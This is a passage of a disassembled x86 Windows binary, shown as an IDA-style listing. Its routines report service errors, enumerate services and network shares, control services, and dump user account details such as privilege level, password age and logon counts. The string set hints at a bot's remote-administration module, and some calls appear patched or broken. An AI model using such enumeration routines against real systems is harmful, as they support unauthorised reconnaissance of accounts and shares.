mov ebx, eax
jmp short loc_40D82F
; ---------------------------------------------------------------------------
loc_40D7BA: ; CODE XREF: sub_40D793+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_43F550
mov esi, eax
cmp esi, ebx
jnz short loc_40D7DA
nop
call near ptr 2630313h
mov ebx, eax
jmp short loc_40D827
; ---------------------------------------------------------------------------
loc_40D7DA: ; CODE XREF: sub_40D793+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_40D80D
cmp eax, 3
jz short loc_40D7FE
jle short loc_40D820
cmp eax, 6
jg short loc_40D820
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_43F5B8
jmp short loc_40D814
; ---------------------------------------------------------------------------
loc_40D7FE: ; CODE XREF: sub_40D793+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_43F558
jmp short loc_40D814
; ---------------------------------------------------------------------------
loc_40D80D: ; CODE XREF: sub_40D793+4Dj
push esi
call dword_43F5BC
loc_40D814: ; CODE XREF: sub_40D793+69j
; sub_40D793+78j
test eax, eax
jnz short loc_40D820
nop
call near ptr 2630313h
mov ebx, eax
loc_40D820: ; CODE XREF: sub_40D793+54j
; sub_40D793+59j ...
push esi
call dword_43F56C
loc_40D827: ; CODE XREF: sub_40D793+45j
push edi
call dword_43F56C
pop esi
loc_40D82F: ; CODE XREF: sub_40D793+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_40D793 endp
; =============== S U B R O U T I N E =======================================
sub_40D835 proc near ; CODE XREF: sub_40D719+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_40D8EA
jz loc_40D8E3
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_40D8AD
jz short loc_40D8A3
mov ecx, eax
sub ecx, 3
jz short loc_40D899
dec ecx
dec ecx
jz short loc_40D88F
dec ecx
jz short loc_40D885
sub ecx, 51h
jz short loc_40D87B
sub ecx, 24h
jnz loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D87B: ; CODE XREF: sub_40D835+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D885: ; CODE XREF: sub_40D835+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D88F: ; CODE XREF: sub_40D835+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D899: ; CODE XREF: sub_40D835+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8A3: ; CODE XREF: sub_40D835+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8AD: ; CODE XREF: sub_40D835+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_40D8DC
dec ecx
jz short loc_40D8D5
dec ecx
jz short loc_40D8CE
dec ecx
jnz loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_40D952
; ---------------------------------------------------------------------------
loc_40D8CE: ; CODE XREF: sub_40D835+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8D5: ; CODE XREF: sub_40D835+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8DC: ; CODE XREF: sub_40D835+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8E3: ; CODE XREF: sub_40D835+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D8EA: ; CODE XREF: sub_40D835+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
jz short loc_40D94D
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_40D960 ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
movzx ecx, byte_40D9A1[ecx]
jmp off_40D979[ecx*4] ; switch jump
loc_40D90E: ; DATA XREF: ___:off_40D979o
push offset aTheSpecifiedDa ; jumptable 0040D907 case 7
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D915: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceDepe ; jumptable 0040D907 case 17
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D91C: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceDe_0 ; jumptable 0040D907 case 10
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D923: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHasB ; jumptable 0040D907 case 0
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D92A: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheSpecified_0 ; jumptable 0040D907 case 2
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D931: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceCoul ; jumptable 0040D907 case 11
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D938: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHa_0 ; jumptable 0040D907 case 14
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D93F: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheRequested_1 ; jumptable 0040D907 case 3
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D946: ; CODE XREF: sub_40D835+D2j
; DATA XREF: ___:off_40D979o
push offset aTheServiceHasN ; jumptable 0040D907 case 4
jmp short loc_40D952
; ---------------------------------------------------------------------------
loc_40D94D: ; CODE XREF: sub_40D835+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_40D952: ; CODE XREF: sub_40D835+41j
; sub_40D835+4Bj ...
push offset dword_443A78
call sub_4172B0
pop ecx
pop ecx
jmp short loc_40D973
; ---------------------------------------------------------------------------
loc_40D960: ; CODE XREF: sub_40D835+36j
; sub_40D835+89j ...
push eax ; default
; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>"
push offset dword_443A78
call sub_4172B0
add esp, 0Ch
loc_40D973: ; CODE XREF: sub_40D835+129j
mov eax, offset dword_443A78
retn
sub_40D835 endp
; ---------------------------------------------------------------------------
off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r
dd offset loc_40D92A ; jump table for switch statement
dd offset loc_40D93F
dd offset loc_40D946
dd offset loc_40D90E
dd offset loc_40D91C
dd offset loc_40D931
dd offset loc_40D938
dd offset loc_40D915
dd offset loc_40D960
byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p
var_38C = byte ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_43F65C
push ebx
mov [ebp+var_C], eax
push [ebp+arg_8]
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 14h
loc_40D9EB: ; CODE XREF: sub_40D9B3+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_43F628
test eax, eax
jnz short loc_40DA25
nop
call near ptr 2630313h
cmp eax, 0EAh
jnz loc_40DAD9
loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_40DAD0
lea esi, [ebp+var_188]
loc_40DA36: ; CODE XREF: sub_40D9B3+117j
mov eax, [esi+8]
dec eax
jz short loc_40DA7F
dec eax
jz short loc_40DA78
dec eax
jz short loc_40DA71
dec eax
jz short loc_40DA6A
dec eax
jz short loc_40DA63
dec eax
jz short loc_40DA5C
dec eax
jz short loc_40DA55
push offset aUnknown_0 ; " Unknown"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA55: ; CODE XREF: sub_40D9B3+99j
push offset aPaused_0 ; " Paused"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA5C: ; CODE XREF: sub_40D9B3+96j
push offset aPausing ; " Pausing"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA63: ; CODE XREF: sub_40D9B3+93j
push offset aContinuing ; " Continuing"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA6A: ; CODE XREF: sub_40D9B3+90j
push offset aRunning ; " Running"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj
push offset aStoping ; " Stoping"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj
push offset aStarting ; " Starting"
jmp short loc_40DA84
; ---------------------------------------------------------------------------
loc_40DA7F: ; CODE XREF: sub_40D9B3+87j
push offset aStopped ; " Stopped"
loc_40DA84: ; CODE XREF: sub_40D9B3+A0j
; sub_40D9B3+A7j ...
lea eax, [ebp+var_20]
push eax
call sub_4172B0
pop ecx
lea eax, [ebp+var_20]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS ; "%s: %s (%s)"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_38C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_40DA36
loc_40DAD0: ; CODE XREF: sub_40D9B3+77j
cmp [ebp+var_8], ebx
jnz loc_40D9EB
loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj
push [ebp+var_C]
call dword_43F56C
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_40D9B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz loc_40DB8A
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_40DB19
dec eax
jnz short loc_40DB6A
push edi
push 0
call sub_40DCC3
pop ecx
pop ecx
jmp short loc_40DB66
; ---------------------------------------------------------------------------
loc_40DB19: ; CODE XREF: sub_40DAF0+18j
cmp [ebp+arg_8], 0
jnz short loc_40DB58
push 24h
push edi
call sub_418F50
pop ecx
test eax, eax
pop ecx
jnz short loc_40DB58
push 57h
pop eax
loc_40DB30: ; CODE XREF: sub_40DAF0+78j
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_443D34
push off_42E7A0[eax*4]
push offset dword_42EE98
push esi
call sub_4172B0
add esp, 14h
jmp short loc_40DBAA
; ---------------------------------------------------------------------------
loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj
; sub_40DAF0+3Bj
push [ebp+arg_8]
push edi
push 0
call sub_40DC17
add esp, 0Ch
loc_40DB66: ; CODE XREF: sub_40DAF0+27j
test eax, eax
jnz short loc_40DB30
loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset dword_443D34
push off_42E7A4[eax*4]
push offset dword_42EE6C
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40DBAA
; ---------------------------------------------------------------------------
loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj
mov eax, [ebp+arg_0]
mov esi, offset dword_443D34
lea eax, [eax+eax*2]
push off_42E7A0[eax*4]
push offset dword_42EE38
push esi
call sub_4172B0
add esp, 0Ch
loc_40DBAA: ; CODE XREF: sub_40DAF0+66j
; sub_40DAF0+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_40DAF0 endp
; =============== S U B R O U T I N E =======================================
sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_40DBBD
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_40DBBD: ; CODE XREF: sub_40DBB0+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, dword_424150
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi
test byte_443F34, 1
mov ebp, eax
jnz short loc_40DBFA
or byte_443F34, 1
lea eax, [ebp+1]
push eax
call sub_4185F5
pop ecx
mov dword_443CD4, eax
loc_40DBFA: ; CODE XREF: sub_40DBB0+32j
push esi
push esi
push ebp
push dword_443CD4
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi
mov eax, dword_443CD4
pop edi
pop ebp
pop ebx
pop esi
retn
sub_40DBB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep
; sub_4162AC+18Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov edi, eax
call sub_40DC82
push 24h
mov [ebp+var_20], eax
push [ebp+arg_4]
call sub_418F50
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_40DC82
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_43F568
pop edi
leave
retn
sub_40DC17 endp
; =============== S U B R O U T I N E =======================================
sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap
; sub_40DC17+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_40DC8F
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40DC8F: ; CODE XREF: sub_40DC82+9j
push ebx
push esi
mov esi, dword_424070
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi
mov edi, eax
lea eax, [edi+edi+2]
push eax
call sub_4185F5
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_40DC82 endp
; =============== S U B R O U T I N E =======================================
sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p
; sub_415F88+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC82
push [esp+8+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
push 0
push eax
push esi
call dword_43F540
pop esi
retn
sub_40DCC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p
var_210 = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_40DC82
xor esi, esi
mov [ebp+var_C], eax
push esi
mov [ebp+arg_C], esi
push [ebp+arg_8]
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 18h
loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_43F5B4
mov ebx, eax
cmp ebx, esi
jz short loc_40DD82
cmp ebx, 0EAh
jz short loc_40DD82
push ebx
push ebx
call sub_40E4B7
pop ecx
push eax
lea eax, [ebp+var_210]
push offset dword_42EEF4
push eax
call sub_4172B0
push esi
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 24h
jmp short loc_40DDEF
; ---------------------------------------------------------------------------
loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj
; sub_40DCE6+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_40DDE6
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_40DD90: ; CODE XREF: sub_40DCE6+FCj
push dword ptr [esi+10h]
call dword_43F55C
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_40DDA7
mov eax, offset aNo ; "No"
loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj
push eax
lea eax, [ebp+var_210]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_210]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D679
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_40DD90
xor esi, esi
loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j
push [ebp+var_4]
call dword_43F6F8
loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj
cmp ebx, 0EAh
jz loc_40DD1F
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_40DCE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_40DEAC
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_40DE49
dec eax
jz short loc_40DE3E
dec eax
jnz short loc_40DE64
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push ebx
push edi
call sub_40DF4E
add esp, 14h
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj
push ebx
push edi
call sub_40DF2D
pop ecx
pop ecx
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE49: ; CODE XREF: sub_40DE07+1Aj
cmp [ebp+arg_8], edi
jz short loc_40DE5D
push [ebp+arg_8]
push ebx
push edi
call sub_40DED3
add esp, 0Ch
jmp short loc_40DE60
; ---------------------------------------------------------------------------
loc_40DE5D: ; CODE XREF: sub_40DE07+45j
push 57h
pop eax
loc_40DE60: ; CODE XREF: sub_40DE07+35j
; sub_40DE07+40j ...
cmp eax, edi
jnz short loc_40DE84
loc_40DE64: ; CODE XREF: sub_40DE07+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_443F38
push off_42E7A4[eax*4]
push offset dword_42EFD8
push esi
call sub_4172B0
add esp, 10h
jmp short loc_40DECC
; ---------------------------------------------------------------------------
loc_40DE84: ; CODE XREF: sub_40DE07+5Bj
push eax
call sub_40E4B7
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset dword_443F38
push off_42E7A0[eax*4]
push offset dword_42EF9C
push esi
call sub_4172B0
add esp, 14h
jmp short loc_40DECC
; ---------------------------------------------------------------------------
loc_40DEAC: ; CODE XREF: sub_40DE07+Dj
mov eax, [ebp+arg_0]
mov esi, offset dword_443F38
lea eax, [eax+eax*2]
push off_42E7A0[eax*4]
push offset dword_42EF64
push esi
call sub_4172B0
add esp, 0Ch
loc_40DECC: ; CODE XREF: sub_40DE07+7Bj
; sub_40DE07+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_40DE07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov edi, eax
call sub_40DC82
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_40DC82
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_43F54C
pop edi
leave
retn
sub_40DED3 endp
; =============== S U B R O U T I N E =======================================
sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_40DC82
push [esp+8+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
push eax
push esi
call dword_43F53C
pop esi
retn
sub_40DF2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp
var_204 = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_40DC82
push [ebp+arg_4]
mov esi, eax
call sub_40DC82
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_43F6C0
test eax, eax
mov [ebp+arg_0], eax
jnz loc_40E2F6
mov eax, [ebp+var_4]
test eax, eax
jz loc_40E331
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+var_204]
push offset aAccountS ; "Account: %S"
push eax
call sub_4172B0
mov esi, [ebp+arg_10]
mov edi, [ebp+arg_C]
mov ebx, [ebp+arg_8]
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+var_204]
push offset aFullNameS ; "Full Name: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+var_204]
push offset aUserCommentS ; "User Comment: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+var_204]
push offset aCommentS ; "Comment: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_40E06D
dec eax
jz short loc_40E066
dec eax
jz short loc_40E05F
mov eax, offset aUnknown ; "Unknown"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E05F: ; CODE XREF: sub_40DF4E+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E066: ; CODE XREF: sub_40DF4E+105j
mov eax, offset aUser_0 ; "User"
jmp short loc_40E072
; ---------------------------------------------------------------------------
loc_40E06D: ; CODE XREF: sub_40DF4E+102j
mov eax, offset aGuest ; "Guest"
loc_40E072: ; CODE XREF: sub_40DF4E+10Fj
; sub_40DF4E+116j ...
push eax
lea eax, [ebp+var_204]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+var_204]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+var_204]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+var_204]
push offset aParametersS ; "Parameters: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+var_204]
push offset aPasswordAgeD ; "Password Age: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+var_204]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+var_204]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+24h]
lea eax, [ebp+var_204]
push offset aLastLogonD ; "Last Logon: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+28h]
lea eax, [ebp+var_204]
push offset aLastLogoffD ; "Last Logoff: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+34h]
lea eax, [ebp+var_204]
push offset aLogonServerS ; "Logon Server: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+3Ch]
lea eax, [ebp+var_204]
push offset aWorkstationsS ; "Workstations: %S"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+38h]
lea eax, [ebp+var_204]
push offset aCountryCodeD ; "Country Code: %d"
push eax
call sub_4172B0
push 1
push esi
lea eax, [ebp+var_204]
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4Ch]
lea eax, [ebp+var_204]
push offset aUserSLanguageD ; "User's Language: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+40h]
lea eax, [ebp+var_204]
push offset aMax_StorageD ; "Max. Storage: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
push esi
push eax
push edi
push ebx
call sub_40D679
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+44h]
lea eax, [ebp+var_204]
push offset aUnitsPerWeekD ; "Units Per Week: %d"
push eax
call sub_4172B0
push 1
lea eax, [ebp+var_204]
